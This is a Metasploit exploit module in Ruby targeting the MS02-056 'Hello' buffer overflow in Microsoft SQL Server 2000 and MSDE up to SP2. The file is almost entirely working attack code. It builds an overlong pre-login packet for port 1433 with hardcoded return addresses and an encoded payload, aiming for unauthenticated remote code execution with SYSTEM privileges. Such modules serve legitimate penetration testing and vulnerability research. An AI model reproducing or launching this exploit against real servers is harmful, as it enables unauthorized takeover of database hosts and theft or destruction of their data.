##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::MSSQL

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft SQL Server Hello Overflow',
      'Description'    => %q{
        By sending malformed data to TCP port 1433, an
        unauthenticated remote attacker could overflow a buffer and
        possibly execute code on the server with SYSTEM level
        privileges. This module should work against any vulnerable
        SQL Server 2000 or MSDE install (< SP3).
          
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2002-1123'],
          [ 'OSVDB', '10132'],
          [ 'BID', '5411'],
          [ 'MSB', 'MS02-056'],

        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Targets'        => 
        [
          [ 
            'MSSQL 2000 / MSDE <= SP2',
            {
              'Platform' => 'win',
              'Rets'     => [0x42b68aba, 0x42d01e50],
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'Aug 5 2002',
      'DefaultTarget' => 0))
  end
  
  def check
    info = mssql_ping
    if (info['ServerName'])
      print_status("SQL Server Information:")
      info.each_pair { |k,v|
        print_status("   #{k + (" " * (15-k.length))} = #{v}")
      }
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
          "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
        "\x10\x00\x00\x00" +
        rand_text_english(528, payload_badchars) +
        "\x1B\xA5\xEE\x34" + 
        rand_text_english(4, payload_badchars) +
        [ target['Rets'][0] ].pack('V') +
        [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
        '3333' +
        [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
          rand_text_english(88, payload_badchars) +
        payload.encoded +
        "\x00\x24\x01\x00\x00"
        
    sock.put(buf)
    
    handler
    disconnect
  end
  
end